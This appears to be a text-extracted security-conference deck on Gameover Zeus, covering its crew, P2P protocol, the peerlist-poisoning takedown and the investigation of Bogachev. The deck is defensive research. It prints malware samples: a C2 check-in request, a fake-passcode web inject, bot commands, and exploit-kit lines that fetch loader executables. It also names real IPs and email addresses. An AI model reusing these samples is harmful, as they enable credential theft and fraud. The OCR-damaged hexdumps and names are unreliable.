Dr. Brett Stone-Gross, Dell SecureWorks
Frank Ruiz, Fox-IT
Dr. Christian Rossow, Saarland University
Dennis Andriesse, VU University Amsterdam
Dr. Christian Dietrich, CrowdStrike
@kafeine
UK NCA
US DOJ CCIPS
The ShadowServer Foundation
Spamhaus
And many others…
Criminal Overview

Fraud Cycle

- Spam, infection, account takeover, fraud
- International wire, DDoS attack against FI, cashout, funds laundered
- Losses ranged from $10,000 to $6,900,000

Dirtjumper C2 Monitoring – Credit to Dell SecureWorks

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Size</th>
<th>CPU</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>11/06/2012</td>
<td>18:03:46</td>
<td>02</td>
<td>300</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/06/2012</td>
<td>21:33:43</td>
<td>01</td>
<td>300</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/07/2012</td>
<td>08:48:50</td>
<td>02</td>
<td>999</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/08/2012</td>
<td>06:48:58</td>
<td>12</td>
<td>300</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/09/2012</td>
<td>03:43:54</td>
<td>02</td>
<td>100</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/10/2012</td>
<td>18:53:56</td>
<td>01</td>
<td>100</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/11/2012</td>
<td>23:53:55</td>
<td>01</td>
<td>100</td>
<td>https://[redacted].com</td>
</tr>
<tr>
<td>11/12/2012</td>
<td>23:53:54</td>
<td>01</td>
<td>100</td>
<td>https://[redacted].com/authentication/logon</td>
</tr>
<tr>
<td>11/13/2012</td>
<td>20:13:56</td>
<td>03</td>
<td>999</td>
<td>https://[redacted].com/authentication/logon</td>
</tr>
<tr>
<td>11/13/2012</td>
<td>20:13:56</td>
<td>03</td>
<td>999</td>
<td>https://[redacted].com</td>
</tr>
</tbody>
</table>
The Gameover Zeus Operation
# Brief History of Zeus

## Evolution of the Zeus Family

<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Zeus 1</td>
<td>Emerged in 2005</td>
<td>Sold as crimeware kit</td>
</tr>
<tr>
<td>Zeus 2</td>
<td>Emerged in 2009</td>
<td>Sold as crimeware kit, code for 2.0.8.9 leaked in 2011</td>
</tr>
<tr>
<td>Murofet, Licat</td>
<td>September 2010 – September 2011</td>
<td>Private builds</td>
</tr>
<tr>
<td>Gameover Zeus</td>
<td>September 2011 – June 2014</td>
<td>Private builds, introduced P2P protocol</td>
</tr>
</tbody>
</table>

```plaintext
POST /gameover2.php HTTP/1.1
Accept: */*
X-ID: 7777
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Host: pinkmite.com
Content-Length: 3091
Connection: Keep-Alive
```
Technology

- JabberZeus crew / Zeus 2.1.0.x
  - Domain generation algorithm (DGA)
  - Regular expression support
  - File infector
- September 11, 2011: Upgrade 2.1.0.x to Mapp 13
- Initially peer-to-peer + traditional comms via gameover2.php

Monetization

- Focus on corporate banking, additionally affiliate-specific attacks
- Individual operators often dropped other malware
  - CryptoLocker – first in-house development, destructive
The Organization

Group Composition

- Experienced criminal organization (5 years)
- A mix of mainly Russian and Ukrainian actors
- Dual leadership
- Support staff
- More than 20 affiliates

3rd Party Services

- 3rd party techs to set up and secure systems
- Preferred suppliers like loaders, exploit kits and spammers
<table>
<thead>
<tr>
<th>username</th>
<th>role</th>
</tr>
</thead>
<tbody>
<tr>
<td>screenname</td>
<td>Drop master</td>
</tr>
<tr>
<td>electronic</td>
<td>Drop master</td>
</tr>
<tr>
<td>tiff</td>
<td>Drop master</td>
</tr>
<tr>
<td>gribok</td>
<td>Drop master</td>
</tr>
<tr>
<td>Troll</td>
<td>Drop master</td>
</tr>
<tr>
<td>puppet_master</td>
<td>Drop master</td>
</tr>
<tr>
<td>13FM</td>
<td>Drop master</td>
</tr>
<tr>
<td>PokupaemRollsRoys</td>
<td>Drop master</td>
</tr>
<tr>
<td>masculine</td>
<td>Drop master</td>
</tr>
<tr>
<td>viper</td>
<td>Drop master</td>
</tr>
<tr>
<td>kembridge23</td>
<td>Drop master</td>
</tr>
<tr>
<td>dyadya</td>
<td>Drop master</td>
</tr>
<tr>
<td>levi</td>
<td>Drop master</td>
</tr>
<tr>
<td>xuligan</td>
<td>Drop master</td>
</tr>
<tr>
<td>Dell_777</td>
<td>Drop master</td>
</tr>
<tr>
<td>fd</td>
<td>Drop master</td>
</tr>
<tr>
<td>israel</td>
<td>Drop master</td>
</tr>
<tr>
<td>phlin</td>
<td>Drop master</td>
</tr>
<tr>
<td>zaliv</td>
<td>Load master</td>
</tr>
<tr>
<td>gerbert</td>
<td>Load master</td>
</tr>
<tr>
<td>Vegas</td>
<td>Load master</td>
</tr>
<tr>
<td>samit</td>
<td>Load master</td>
</tr>
<tr>
<td>superzaliv</td>
<td>Load master</td>
</tr>
<tr>
<td>Vegas2</td>
<td>Load master</td>
</tr>
<tr>
<td>commandos</td>
<td>Load master</td>
</tr>
<tr>
<td>lan</td>
<td>Load master</td>
</tr>
<tr>
<td>root</td>
<td>Superadmin</td>
</tr>
</tbody>
</table>
### Bulletproof Hosting

- Exclusive servers together
- Virtual IP addresses
- New address in 2 business days
- Exclusive and also very expensive

### Proxies, Proxies Everywhere!

- Proxies towards peer-to-peer network
- Proxies towards customers
- Multiple physical servers
- Zeus backend instances
### Peer-to-Peer Network

#### Gameover Zeus (*Mapp*) Builder

- Internal name *Mapp* – command line application (still called *zsb.exe*)
- Builder gets *kbucket* peer list from a bot
  - *kbucket*: distributed hash table (DHT) terminology
  - Gameover Zeus uses *hashes*, but no *table*
- Used to control the peer-to-peer network using a private RSA key
- Can also enumerate peer-to-peer nodes

#### Peer-to-Peer Network Monitoring

- Debug builds of bots to spot and fix issues with the peer-to-peer layer
- Backend had *kbucket.php* to extract reachable nodes
C2 Protocol

000000 c7 d0 e2 7f e6 75 bd 0f 02 b1 f6 e2 90 ec 9b 72 |......u........r|
000010 a7 5b b8 e8 11 24 35 bf 30 82 cc 1a 03 78 a1 70 |[...$5.0....x.p|
000020 d3 96 ee 80 e4 40 1e 7f 9d 80 ab 35 fb 0f fe 57 |......@......5...W|
000030 7c 27 6a b2 a2 e0 42 8e aa 7c df 17 3c 3e 98 13 | |’j...B...|...<..|
000040 bd 4e 33 f7 5c da e8 80 92 58 69 ee 5b e8 d4 ce |.|N3.\...Xi.[...|
000050 ca ed e8 20 5a b8 42 a0 66 b8 c0 99 25 4f f2 ee |... Z.B.f...%N...|
000060 08 f0 47 07 ce fb 7d 6e 0d 03 ca 25 27 2a fc 71 |...G...n...%*q|
000070 5a 43 41 41 ee 10 d7 7b 03 98 1b 5d f6 40 cb 95 |ZCAA.......]@..|
000080 92 32 d1 86 76 46 68 0a 61 a7 17 de 55 6c 7a 75 |...Z.B.H..%N.|
000090 46 0e 3d 1b 3c ca 4d cf 58 14 6e 77 97 2d 04 3a |F.=.<.M.X.nw.-.|
0000a0 9d 58 77 d9 5c be c0 99 1c a6 78 99 6c 7a 75 a6 |.|Xw.\...x.1zu.|
0000b0 36 8d 78 0b bf 53 a9 df fe cf e9 79 58 be e1 7b |6.x..S.......yX...|
0000c0 44 dd 42 0a 00 48 e8 96 97 49 6c 71 52 5a 4d 40 |D.B..H..IlqRZM@|
0000d0 bb c2 43 0a 47 0c 8c 68 3f 5b 97 61 8d a2 4e af |..C.G..h?[a.a.N.|
0000e0 dd 6a b5 c7 4d 46 53 4f 0c 4d a0 0b 02 e9 51 9b |.|j...FSO.M....Q.|
0000f0 28 21 78 e8 37 37 95 cf c3 0a 26 bb 42 aa c1 95 |(!x.77....&.B...|
000100 4c 75 21 42 60 68 e8 a6 b1 b6 76 fb 23 db 5d 0d |[Lu!B‘h.....v.#.].|
000110 d0 6f 0f 87 4a 86 c7 5a b4 c0 86 1f ba 32 ba 89 |.|o...J..Z....2...|
000120 d7 06 d8 e7 d0 f5 9b 0d c1 ff fa b4 54 80 7e c1 |............T.~.|
000130 02 cc 94 e6 c6 58 ab f2 54 b9 6c ac 28 1f 5a 75 |.|..X..T..1.(.Zu|
000140 5e 4b 5e b2 1d 35 3c 81 03 64 39 fc 8b db 7b 15 |^K^..5<...d9......|

...
C2 Protocol

POST /write HTTP

Host: defa

Accept-Encoding: gzip

Content-Length: 238

-ID: 7777

...
Configuration

Target Pattern(s):
(?::^https?://\S+?\macys\.com//.?\ognc(\/?!\))
X-ID: 7777
pcre_pattern
(?::bgcolor="#ffffff">(?P<inject>))
data_end
data_inject

<div id="namefr" style="display:none;"><iframe width="50" height="50" id="myfx" name="myfx"></iframe></div>
<link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/>
<style type="text/css">
.ui-dialog-titlebar{ background: white; }
.textlia{font-family: Arial; font-size: 8px;}
.sumb{font-family:Arial;font-size:12px;font-weight:bold;font-style:normal;color:#666666;text-transform:uppercase;text-decoration:none;letter-spacing:normal;word-spacing:0;line-height:14px;text-align:left;vertical-align:baseline;direction:ltr;cursor:pointer;}
.sunci{font-family:Arial;font-size:12px;font-weight:bold;font-style:normal;color:#666666;text-transform:uppercase;text-decoration:none;letter-spacing:normal;word-spacing:0;line-height:14px;background-color:#f5f6f1;vertical-align:baseline;direction:ltr;border-bottom-color:#cccccc;border-bottom-style:solid;border-bottom-width:1px;border-collapse:collapse;margin-right:10px;margin-left:10px;padding:2px}
</style>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script>
<div id="msg" style="display:none; height:60px;">
<div id="box" class="sunci" style="border-top-style: solid; border-top-color: #cccccc;border-top-width:1px;padding-top:20px;padding-bottom:20px;">
<font style="font-weight:700; font-family: Arial; font-size: 12px;" The <span id="ename" style="color:#666666;">Passcode</span> entered does not match our records. Please verify and make sure you re-enter your <span id="ename1" style="color:#666666;">passcode</span> correctly.</font>
</div>
</div>
Commands

EncryptedString $0D3h, 9, offset aDdos_type$; "ddos_type"
EncryptedString $11h, 0Ch, offset aDdos_address$; "ddos_address"
EncryptedString $97h, 8, offset aDdos_url$; "ddos_url"
EncryptedString $7Fh, 0Ch, offset aDdos_execute$; "ddos_execute"
EncryptedString $93h, 08h, offset aOs_shutdown$; "os_shutdown"
EncryptedString $31h, 9, offset aOs_reboot$; "os_reboot"
EncryptedString $87h, 0Dh, offset aBot_uninstall$; "bot_uninstall"
EncryptedString $0Fh, 0Ah, offset aBot_bc_add$; "bot_bc_add"
EncryptedString $0Ah, 0Dh, offset aBot_bc_remove$; "bot_bc_remove"
EncryptedString $9Ch, 16h, offset aBot_httpinject_di$; "bot_httpinject_disable"
EncryptedString $99h, 15h, offset aBot_httpinject_en$; "bot_httpinject_enable"
EncryptedString $32h, 14h, offset aFs_find_add_keywords$; "fs_find_add_keywords"
EncryptedString $91h, 0Fh, offset aFs_find_execute$; "fs_find_execute"
EncryptedString $22h, 0Ch, offset aFs_pack_path$; "fs_pack_path"
EncryptedString $99h, 0Ch, offset aUser_destroy$; "user_destroy"
EncryptedString $0E7h, 0Bh, offset aUser_logoff$; "user_logoff"
EncryptedString $9Ah, 0Ch, offset aUser_execute$; "user_execute"
EncryptedString $7Fh, 10h, offset aUser_cookies_get$; "user_cookies_get"
EncryptedString $90h, 13h, offset aUser_cookies_remove$; "user_cookies_remove"
EncryptedString $50h, 0Eh, offset aUser_certs_get$; "user_certs_get"
EncryptedString $0F0h, 11h, offset aUser_certs_remove$; "user_certs_remove"
EncryptedString $0D1h, 0Eh, offset aUser_url_block$; "user_url_block"
EncryptedString $1h, 10h, offset aUser_url_unblock$; "user_url_unblock"
EncryptedString $80h, 11h, offset aUser_homepage_set$; "user_homepage_set"
EncryptedString $32h, 15h, offset aUser_emailclients$; "user_emailclients_get"
EncryptedString $42h, 14h, offset aUser_flashplayer$; "user_flashplayer_get"
EncryptedString $9Fh, 17h, offset aUser_flashplayer_0$; "user_flashplayer_remove"
Espionage

Things you do not expect to see in financial malware

Georgia
Targeting government and intelligence agencies

Foreign intelligence
Russia secret
Intelligence Krasnodar

Turkey
Targeting government, Syrian conflict

Military camp Syria
Counter intelligence
Russian mercenaries Syria

Ukraine
Targeting intelligence agencies, Crimea conflict

Целком таємно
Служба Безпеки України
Федеральна служба безпеки

Top secret
Federal security service
Security service of Ukraine
P2P Poisoning Attack
Botnet Topology

P2P Layer

- Daily configuration updates
- Weekly binary updates
Botnet Topology

P2P Layer
- Daily configuration updates
- Weekly binary updates

Proxy Nodes
- Announced by special messages
- Route C2 communication
  - Stolen data
  - Commands
# Botnet Topology

## P2P Layer
- Daily configuration updates
- Weekly binary updates

## Proxy Nodes
- Announced by special messages
- Route C2 communication
  - Stolen data
  - Commands

## C2 Proxies
- Plain HTTP proxies
- Additional layer between botnet and backend
## Message Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Purpose</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>00</td>
<td>Version Request</td>
<td>Ask for binary/config version</td>
</tr>
<tr>
<td>01</td>
<td>Version</td>
<td>Report version information</td>
</tr>
<tr>
<td>02</td>
<td>Peerlist Request</td>
<td>Ask peer for neighbor peers</td>
</tr>
<tr>
<td>03</td>
<td>Peerlist</td>
<td>Send up to 10 neighbor peers</td>
</tr>
<tr>
<td>04</td>
<td>Data Request</td>
<td>Ask for binary or config</td>
</tr>
<tr>
<td>05</td>
<td>Data</td>
<td>Current binary or config</td>
</tr>
<tr>
<td>06</td>
<td>Proxy List</td>
<td>Contains list of proxy nodes</td>
</tr>
<tr>
<td>50</td>
<td>Proxy Announcement</td>
<td>Used to propagate a proxy node</td>
</tr>
<tr>
<td>204</td>
<td>C2 Message</td>
<td>Sent to proxy nodes, wraps C2 data</td>
</tr>
<tr>
<td>Type</td>
<td>02</td>
<td></td>
</tr>
<tr>
<td>----------</td>
<td>----</td>
<td></td>
</tr>
<tr>
<td>Padding Length</td>
<td>50</td>
<td></td>
</tr>
<tr>
<td>Session ID</td>
<td>c577aabe9d03a499601d2df4139e9c816bef8ce7</td>
<td></td>
</tr>
<tr>
<td>Bot ID</td>
<td>e74bce83d714216729aac4b7b238f14d89cf55eb</td>
<td></td>
</tr>
</tbody>
</table>

```
00000000       6f 94 02 50 c5 77 aa be 9d 03 a4 99 60 1d 2d f4
00000010       13 9e 9c 81 6b ef 8c e7 4b ce 83 d7 14 21 67 29
00000020       aa c4 b7 b2 38 f1 4d 89 cf 55 eb 53 4d 31 9b 94
00000030       5c f5 53 57 24 87 7a 6b bd 3a 24 0a 3b d2 f6 9a
00000040       01 a6 b5 e0 ab 4e a6 35 86 ca 4c 9e b3 d8 a1 4a
00000050       f0 ee c9 b6 72 c2 4b 9a c6 52 e4 12 58 ed fd 45
00000060       12 da 17 dc 98 b8 17 59 ab 1e 0a 4f 6c 7d 8e f7
00000070       b3 a2 a9 37 86 36 3a f7 2e 26 25 64 b1 44 cf fe
00000080       2e d7 46 97 3c 35 de ff e2 b4 8d 14 53 3b 35 8a
00000090       ca 88 38 f7 4a 14 74 cb 29 af 99 a7 ba 10 e6 73
000000a0       8d 9f 29 24 72 7b 65 ad 1b ef ef b7 a2 ae 2b 97
000000b0       df ea 28 8a 2f 4a 06 2a ed 5b aa da 51 a7 a5 06
000000c0       d6 48 7e b8 65 d1 58 41 65 4f 01
```
### Peerlist Response

<table>
<thead>
<tr>
<th>Type</th>
<th>Padding Length</th>
<th>Session ID</th>
<th>Bot ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>03</td>
<td>02</td>
<td>c577aabe9d03a499601d2df4139e9c816bef8ce7</td>
<td>517262b78f557456f15c7a65f370b8150d261b5f</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Peerlist</th>
<th>517262b78f557456f15c7a65f370b8150d261b5f</th>
<th>59.90.10.180:1026</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>51f1dab7004aad6381c703a639dc758146cbd4f</td>
<td>125.23.117.36:7875</td>
</tr>
<tr>
<td></td>
<td>5025d1bf2fb998c4b2256596587d7eb603efd7a2</td>
<td>108.76.33.46:1732</td>
</tr>
<tr>
<td></td>
<td>50bc0620feef71b6a5d087d6f48637e95af1c5d5</td>
<td>81.90.26.57:7221</td>
</tr>
<tr>
<td></td>
<td>522b0c1d8b7fb6cda19ea4407dc82f24a67008f0</td>
<td>66.189.57.144:5807</td>
</tr>
<tr>
<td></td>
<td>52338ca13970ab8878908b9bafec70537fed2a85c</td>
<td>86.57.196.12:9607</td>
</tr>
<tr>
<td></td>
<td>55c363c17e8b3528f2e20080e5fbc32eef6fcb28</td>
<td>62.7.187.92:6200</td>
</tr>
<tr>
<td></td>
<td>53ce43f39cc89e3335ef2e36bf4ec5a9166f7c1b</td>
<td>59.92.54.113:9033</td>
</tr>
<tr>
<td></td>
<td>53df3e87386c6c9d862126d00cabaflb2344e82a6</td>
<td>78.47.101.178:2514</td>
</tr>
<tr>
<td></td>
<td>56d9de127d908485aede02865d5725db684290b9</td>
<td>219.76.74.28:1048</td>
</tr>
</tbody>
</table>
Sinkhaling through Peer-to-Peer Poisoning

- **Goal:** Isolate bots, prevent normal operation
- **Method:** Replace peerlist entries with sinkholes
Sinkholing through Peer-to-Peer Poisoning

- Goal: Isolate bots, prevent normal operation
- Method: Replace peerlist entries with sinkholes
## Poisoning Example

- Bot peerlist before the attack:

<table>
<thead>
<tr>
<th>Bot ID</th>
<th>IP address</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>c2ad2c7621e8cc9057e8ee0fe678acdf216f8d0f</td>
<td>186.88.196.115</td>
<td>10355</td>
</tr>
<tr>
<td>c28df459e506e3fbaf0fe4e09c3e8a1fccc697f39</td>
<td>142.163.184.154</td>
<td>12631</td>
</tr>
<tr>
<td>3e6684b8016ad93410bc94803d1da9502239f582</td>
<td>208.41.173.138</td>
<td>13850</td>
</tr>
<tr>
<td>c19aff3ecf6a2e0443640baad118ee528ccd43ce</td>
<td>95.104.110.191</td>
<td>15550</td>
</tr>
<tr>
<td>3d0445ac21017cf284191485fc045e23a4d65dba</td>
<td>75.38.136.56</td>
<td>10169</td>
</tr>
<tr>
<td>5b68273785dc1a0e19d1461cc5688e150528697</td>
<td>98.203.40.174</td>
<td>21918</td>
</tr>
<tr>
<td>e10fa5a555f3653837ceef2380da034dc7190261</td>
<td>174.134.88.28</td>
<td>19433</td>
</tr>
<tr>
<td>c1ff72dda4362153a43079ed35301537aaf56634</td>
<td>74.234.107.231</td>
<td>25975</td>
</tr>
<tr>
<td>93b2028482d876a9dd4a3b01b2265956f189aed4</td>
<td>190.206.20.161</td>
<td>29346</td>
</tr>
<tr>
<td>c3575bcd52b97c1484bee81dfa1bfcf5d3fd1343</td>
<td>79.113.161.10</td>
<td>16824</td>
</tr>
</tbody>
</table>
Poisoning Example

- Bot peerlist after the attack:

<table>
<thead>
<tr>
<th>Bot ID</th>
<th>IP address</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>f1d2d2f924e986ac86fdf7b36c94bcdf32beec15</td>
<td>10.0.0.1</td>
<td>14521</td>
</tr>
<tr>
<td>e242ed3bffeccdf271b7fbaf34ed72d089537b42f</td>
<td>10.0.0.2</td>
<td>25486</td>
</tr>
</tbody>
</table>
Things to Consider

- Peer-to-peer poisoning prevents propagation of information between peers
- But C2 communication still possible
Controlling the Proxy Layer

Proxy Layer Poisoning Attack

- Peers maintain sorted lists of up to 20 proxies, regular checks if still active
- Proxy list poisoning similar to peer list poisoning
- Must force a switch to a new proxy
- Happens only if current proxy (or backend) becomes unreachable
- Requires collaboration with Internet Service Providers
Controlling the Proxy Layer

Proxy Layer Poisoning Attack

- Peers maintain sorted lists of up to 20 proxies, regular checks if still active
- Proxy list poisoning similar to peer list poisoning
- Must force a switch to a new proxy
- Happens only if current proxy (or backend) becomes unreachable
- Requires collaboration with Internet Service Providers
## Controlling the DGA Layer

### Backup Channel Takeover
- Reverse-engineered and reimplemented Domain Generation Algorithm
- Pointed pre-computed DGA domains to a web server
- Served a special seed peerlist from there

### Top-Level Domains
- 5 US-based (.com, .org, .net, .biz, .info)
- ...and .ru
- Required collaboration with domain registries
  - Some volunteered
  - Others required a court order
The Criminal Investigation
Infection Method

Blackhole Exploit Kit

- Specific configuration for Gameover Zeus
- `cron_update.php` file
- Redirect to Google's Chrome page without proper referrer

```
```

```
./files/175dacb26 md5 is 796cddf7239eca64025cadce41d361d5
https://regatu written ./files/1e105e4bba md5 is 58787c143811f537b3fe529d52e755dd
http: 58787c143811f537b3fe529d52e755dd equal md5
./files/705a0d5d31 md5 is d77 module=EXETask&id=102&mode=getloader&name=/ldr_int2.exe
md5 is d7794674b 35e239b4a819601dc35b00f96087f26c
http://91.242.217.34/iframecheck/?module=EXETask&id=53&mode=getloader&name=ldr_ninja.exe
md5 is b29ce5968 166ea29c1d4bb0c84f129b347ca7bff9
```
"Starting on September 19, 2011, we are beginning to work through the panel where you now find yourselves. (fraudulent) Money transferors and drop (mule) managers are synchronizing their work through our panel, which enables a much greater optimization of the work process and increase in the productivity of our work. Starting from this moment, all drop (mule) managers with whom we are working, and all (fraudulent) money transferors who work with us are working through this panel. We wish you all successful and productive work."
"Starting on September 19, 2011, we are beginning to work through the panel where you now find yourselves. (fraudulent) Money transferors and drop (mule) managers are synchronizing their work through our panel, which enables a much greater optimization of the work process and increase in the productivity of our work. Starting from this moment, all drop (mule) managers with whom we are working, and all (fraudulent) money transferors who work with us are working through this panel. We wish you all successful and productive work."
<table>
<thead>
<tr>
<th>From</th>
<th>Me <a href="mailto:alexrbarachuck@yahoo.com">alexrbarachuck@yahoo.com</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Subject</td>
<td>SMS</td>
</tr>
<tr>
<td>To</td>
<td></td>
</tr>
<tr>
<td>Date</td>
<td>Sun, 1 Apr 2012 03:52:59 –0700 (PDT)</td>
</tr>
<tr>
<td>Message ID</td>
<td><a href="mailto:1333277579.43661.YahooMailClassic@web114318.mail.gq1.yahoo.com">1333277579.43661.YahooMailClassic@web114318.mail.gq1.yahoo.com</a></td>
</tr>
<tr>
<td>User agent</td>
<td>YahooMailClassic/15.0.5 YahooMailWebService/0.8.117.340979</td>
</tr>
<tr>
<td>Delivered-To</td>
<td>businessclub leg, nado podnyat ASAP</td>
</tr>
</tbody>
</table>
From: Me <alexgarbarchuck@yahoo.com>

Subject: SMS

To: 

Date: Sun, 1 Apr 2012 03:52:59 -0700 (PDT)

From: Jennifer <special@businessclub.so>

Subject: Re: test

To: Axel Frost <axefrost@gmail.com>

Cc: Jennifer <special@businessclub.so>

Date: Wed, 16 Nov 2011 16:26:39 -0500

Message ID: <E95F9BF1-5D49-423A-8D69-F84D82261A85@businessclub.so>

In reply to: <CAKTCcj9BkYn-85qj8wdr8W9bbn+ELF5fk1+fsZrM3rpoAWxHQ@mail.gmail.com>

On Nov 16, 2011, at 9:47 AM, Axel Frost wrote:

test
From Me <alexgarbachuck@yahoo.com>
Subject SMS
To
Date Sun 1 Apr 2012 03:52:59 -0700 (PDT)

From Jennifer <special@businessclub.so>
Subject Re: test
To Axel Frost <xlad@businessclub.so>
Date Wed, 16 Nov 2011 22:35:36 +0200
Message ID <1165242682.201111162223536@businessclub.so>
Delivered-To
Received by 10.227.180.207 with SMTP id bv15cs81843wbb; Wed, 16 Nov 2011 12:35:33 -0800 (PST)

Здравствуйте, Х33400.
qweqweqwe

C уважением,
qwe

mailto:ben@businessclub.so
## Personal Account

<table>
<thead>
<tr>
<th>Email Address</th>
<th>Username</th>
<th>Password</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>[redacted]@rambler.ru</td>
<td>Evgeniy</td>
<td>Bogachev</td>
<td>46.158.238.206</td>
</tr>
<tr>
<td>[redacted]@rambler.ru</td>
<td>Evgeniy</td>
<td>Bogachev</td>
<td>212.117.170.62</td>
</tr>
<tr>
<td>[redacted]@rambler.ru</td>
<td>Evgeniy</td>
<td>Bogachev</td>
<td>46.158.20.187</td>
</tr>
<tr>
<td>[redacted]@rambler.ru</td>
<td>Evgeniy</td>
<td>Bogachev</td>
<td>46.158.147.144</td>
</tr>
</tbody>
</table>

## Businessclub root Login

- Cross-reference records obtained
- Criminal forum registrations and posts
- Developed trail from access to Businessclub to ownership of personal account
Temporary Restraining Order

- Ordered defendants (Bogachev) to cease activity
- Authorized establishment of substitute server
- Ordered Registries to redirect DGA traffic
- Ordered Registries to cease CryptoLocker DGA registration
- Ordered Internet Service Providers to block connections with DGA .ru domains
CONSPIRACY TO PARTICIPATE IN RACKETEERING ACTIVITY; BANK FRAUD; CONSPIRACY TO VIOLATE THE COMPUTER FRAUD AND ABUSE ACT; CONSPIRACY TO VIOLATE THE IDENTITY THEFT AND ASSUMPTION DETERRENCE ACT; AGGRAVATED IDENTITY THEFT; CONSPIRACY; COMPUTER FRAUD; WIRE FRAUD; MONEY LAUNDERING; CONSPIRACY TO COMMIT BANK FRAUD

EVLGENIY MIKHAILOVICH BOGACHEV

Altases: Yevgeniy Bogachev, Evgeniy Mikhailovich Bogachev; "lucky12345", "slavik", "Pollingsoon"

DESCRIPTION

Date(s) of Birth: October 28, 1983
Height: Approximately 5’9"
Weight: Approximately 180 pounds
NCIC: W9995989V55
Occupation: Bogachev works in the Information Technology field.

Remarks: Bogachev was last known to reside in Anapa, Russia. He is known to enjoy boating and may travel to locations along the Black Sea in his boat. He also owns property in Krasnodar, Russia.

CAUTION

Evgeniy Mikhailovich Bogachev, using the online handles "lucky12345" and "slavik", is wanted for his alleged involvement in a wide-ranging racketeering enterprise and scheme that installed, without authorization, malicious software known as "Zeus" on victims’ computers. The software was used to capture bank account numbers, passwords, personal identification numbers, and other information necessary to log into online banking accounts. While Bogachev knowingly acted in a role as an administrator, others involved in the scheme conspired to distribute spam and phishing emails, which contained links to compromised web sites. Victims who visited these web sites were infected with the malware, which Bogachev and others utilized to steal money from the victims’ bank accounts. This online account takeover fraud has been investigated by the FBI since the summer of 2009.

Starting in September of 2011, the FBI began investigating a modified version of the Zeus Trojan, known as GameOver Zeus (GOZ). It is believed GOZ is responsible for more than one million computer infections, resulting in financial losses of more than $100 million.

On August 3, 2012, Bogachev was arrested in the Netherlands and charged with wire fraud.
Why does it matter?
Thank You.